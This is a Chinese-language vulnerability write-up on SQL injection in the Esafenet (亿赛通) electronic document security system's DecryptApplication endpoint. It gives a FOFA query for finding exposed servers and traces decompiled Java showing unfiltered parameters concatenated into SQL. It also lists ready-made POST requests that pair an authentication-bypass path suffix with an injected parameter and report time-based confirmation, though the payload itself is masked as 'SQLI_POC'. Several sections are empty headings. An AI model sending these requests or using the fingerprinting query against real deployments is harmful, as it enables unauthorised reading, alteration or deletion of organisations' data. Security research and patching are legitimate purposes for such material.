漏洞简介
亿赛通电子文档安全管理系统的DecryptApplication接口存在SQL注入漏洞。攻击者可以通过构造特定的POST请求,在flowId参数中注入恶意SQL代码,利用该漏洞对数据库执行任意SQL操作。攻击者可以通过注入WAITFOR DELAY命令,导致数据库响应时间延迟,从而确认SQL注入的成功。此漏洞可能导致数据库中的敏感信息泄露、篡改或删除,严重威胁系统的安全性和数据完整性。
影响版本
fofa语法
app="亿赛通-电子文档安全管理系统" || body="/CDGServer3/index.jsp"
漏洞分析
PS: 相关权限绕过简析参考亿赛通电子文档安全管理系统 AppExamList.jsp SQL注入漏洞
根据 web.xml 里对 DecryptApplication 的定义
<!-- DecryptApplication -->
<servlet>
<servlet-name>DecryptApplication</servlet-name>
<display-name>DecryptApplication</display-name>
<servlet-class>
com.esafenet.servlet.client.DecryptApplicationService
</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DecryptApplication</servlet-name>
<url-pattern>/client/DecryptApplication</url-pattern>
</servlet-mapping>
可知,访问路由为 /client/DecryptApplication ,具体实现逻辑类为 com.esafenet.servlet.client.DecryptApplicationService
delDecryptApplication
跟进查看delDecryptApplication实现方式
public void actionDelDecryptApplication(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
String fromurl = RequestUtil.getParameter(req, "fromurl", "");
String id = RequestUtil.getParameter(req, "id", "");
this.model.delDecryptApplication(id);
if (CDGUtil.isGF()) {
res.sendRedirect(fromurl);
} else {
req.getRequestDispatcher(fromurl).forward(req, res);
}
}
将请求的参数如id带入delDecryptApplication方法
public void delDecryptApplication(String id) throws Exception {
Map setMap = new HashMap();
Map updateMap = new HashMap();
setMap.put("HasDeleted", "1");
setMap.put("Field02", CDGUtil.getCurrentTime());
updateMap.put("uniqueid", id);
this.decryptApplicationDao.update(setMap, updateMap);
}
继续跟进decryptApplicationDao.update方法
public void update(Map setM, Map updateM) throws Exception {
StringBuffer toSetSb = new StringBuffer(" ");
StringBuffer updateSb = new StringBuffer(" ");
Set setMap = setM.entrySet();
Set updateMap = updateM.entrySet();
if (setMap != null && updateMap != null && setMap.size() != 0 && updateMap.size() != 0) {
Iterator iter = setMap.iterator();
while(iter.hasNext()) {
Map.Entry element = (Map.Entry)iter.next();
if (iter.hasNext()) {
toSetSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("',");
} else {
toSetSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("' ");
}
}
iter = updateMap.iterator();
while(iter.hasNext()) {
Map.Entry element = (Map.Entry)iter.next();
if (iter.hasNext()) {
updateSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("' and ");
} else {
updateSb.append(element.getKey().toString()).append("=").append("'").append(this.verifyString(element).toString()).append("' ");
}
}
String sql = "update " + tableName + " SET " + toSetSb.toString() + " where " + updateSb.toString();
this.updateCommon(sql);
}
主要为组装sql语句后直接执行,可见参数全程未经任何过滤和校验就被直接拼接进sql语句中进行执行,从而导致sql注入漏洞。
DownLoadLogs
public void actionDownLoadLogs(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
String isdeled = RequestUtil.getParameter(req, "isdeled", "");
String isExam = RequestUtil.getParameter(req, "isExam", "");
String type = "解密申请";
this.model.downLoadLogs(isdeled, isExam, req, res, type);
}
跟进downLoadLogs方法
public void downLoadLogs(String isdeled, String isExam, HttpServletRequest req, HttpServletResponse res, String type) throws IOException {
String ip = RequestUtil.getParameter(req, "ip", "");
String machineName = RequestUtil.getParameter(req, "machineName", "");
res.setContentType("csv");
res.setHeader("Content-Disposition", "attachment;filename=\"log.csv\"");
res.setContentType("text/plain;charset=GB2312");
PrintWriter out = null;
try {
out = res.getWriter();
out.println("客户端,申请人,类型,审批人,审批日期,备注,申请时间");
List<DecryptApplicationInfo> list = getLogs(isdeled, isExam, ip, machineName);
跟进getLogs方法
private static List<DecryptApplicationInfo> getLogs(String isdeled, String isExam, String ip, String machineName) throws Exception {
DecryptApplicationDao dao = new DecryptApplicationDao();
Map map = new HashMap();
map.put("HasDeleted", isdeled);
if (!"".equals(isExam)) {
map.put("HasExam", isExam);
}
if (!"".equals(ip)) {
map.put("Ip", ip);
}
if (!"".equals(machineName)) {
map.put("MachineName", machineName);
}
return dao.getList(map);
}
继续跟进getList方法
public List<DecryptApplicationInfo> getList(Map map) throws Exception {
List<DecryptApplicationInfo> list = new ArrayList();
StringBuffer sql = new StringBuffer();
sql.append("select * from " + tableName);
String where = CDGUtil.getWhereClauseForString(map);
sql.append(where);
HashMap[] maps = this.getCommonResults(sql.toString());
if (maps != null && maps.length > 0) {
for(int i = 0; i < maps.length; ++i) {
list.add(MapToInfo(maps[i]));
}
}
return list;
}
喏,又是和前面一样的组装完成sql语句后直接执行,全程无过滤或校验,从而造成sql注入漏洞。
DelAllDecryptApplication
public void actionDelAllDecryptApplication(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
String fromurl = RequestUtil.getParameter(req, "fromurl", "");
String[] strs = RequestUtil.getParameters(req, "allCheckbox");
for(int i = 0; strs != null && i < strs.length; ++i) {
this.model.delDecryptApplication(strs[i]);
}
req.getRequestDispatcher(fromurl).forward(req, res);
}
跟进delDecryptApplication方法
public void delDecryptApplication(String id) throws Exception {
Map setMap = new HashMap();
Map updateMap = new HashMap();
setMap.put("HasDeleted", "1");
setMap.put("Field02", CDGUtil.getCurrentTime());
updateMap.put("uniqueid", id);
this.decryptApplicationDao.update(setMap, updateMap);
}
又遇见熟悉的decryptApplicationDao.update方法了,在上面已经分析过了,这里就不赘述了。
PassDecryptApplication
public void actionPassDecryptApplication(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
log.info("执行审批通过业务:" + CDGUtil.getTime());
String fromurl = RequestUtil.getParameter(req, "fromurl", "");
String id = RequestUtil.getParameter(req, "id", "");
String uploadFile = RequestUtil.getParameter(req, "uploadFile", "");
DecryptApplicationInfo info = this.model.findById(id);
跟进 findById 方法
public DecryptApplicationInfo findById(String id) throws Exception {
StringBuffer sql = new StringBuffer();
sql.append("select * from " + tableName);
Map<String, String> map = new HashMap();
map.put("Uniqueid", id);
String where = CDGUtil.getWhereClauseForString(map);
sql.append(where);
HashMap[] maps = this.getCommonResults(sql.toString());
if (maps != null && maps.length > 0) {
DecryptApplicationInfo info = MapToInfo(maps[0]);
return info;
} else {
return null;
}
}
也是熟悉的方法组装sql语句后执行,造成sql注入漏洞。
OpposeDecryptApplication

和上面的一样
Examing
public void actionExaming(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException, Exception {
String fromurl = RequestUtil.getParameter(req, "fromurl", "");
String appId = RequestUtil.getParameter(req, "appId", "");
try {
this.model.changeSome(appId, req);
跟进changeSome方法
public void changeSome(String appId, HttpServletRequest req) throws Exception {
List<DecryptFileVO> decryptFiles = this.getPassFileForAppId(appId);
String appUser = req.getParameter("appUser");
this.examApplication_1_Socket(1, decryptFiles, appUser);
this.examApplication_2_Db(req, appId, decryptFiles, "", "");
}
private List<DecryptFileVO> getPassFileForAppId(String appId) throws Exception {
Map map = new HashMap();
map.put("DecryptApplicationId", appId);
map.put("IsApproval", new Integer(1));
List<DecryptFileInfo> list = this.decryptFileDao.findByPrecise(map);
跟进findByPrecise方法
public List<DecryptFileInfo> findByPrecise(Map map) throws Exception {
StringBuffer sql = new StringBuffer();
sql.append("select * from " + tableName);
sql.append(CDGUtil.getWhereClauseForString(map));
HashMap[] maps = this.getCommonResults(sql.toString());
同样也是组装sql语句后执行,造成sql注入漏洞。
UpLoadDecyptFile



DelDecyptFile


PassDecryptApplication1


DelDecryptApplication2


OpposeDecryptApplication2


DelAllDecryptApplication2

漏洞复现
DelDecryptApplication
POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded
id=SQLI_POC&machineId=&command=DelDecryptApplication&fromurl=/frame.jsp&appUser=

成功延时 5 秒
DownLoadLogs
POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded
isdeled=SQLI_POC&isExam=&command=DownLoadLogs

成功延时 5 秒
DelAllDecryptApplication
POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded
allCheckbox=SQLI_POC&fromurl=DeletedDecryptApplication2.jsp&command=DelAllDecryptApplication

成功延时 5 秒
PassDecryptApplication
POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host: CDGServer3.mrxn.net
Content-Type: application/x-www-form-urlencoded
id=SQLI_POC&fromurl=UnChkDecryptAppliction.jsp;jsessionid=E3D7E1E37FB207B0B1E1370638516643&command=PassDecryptApplication&uploadFile=1

OpposeDecryptApplication

Examing


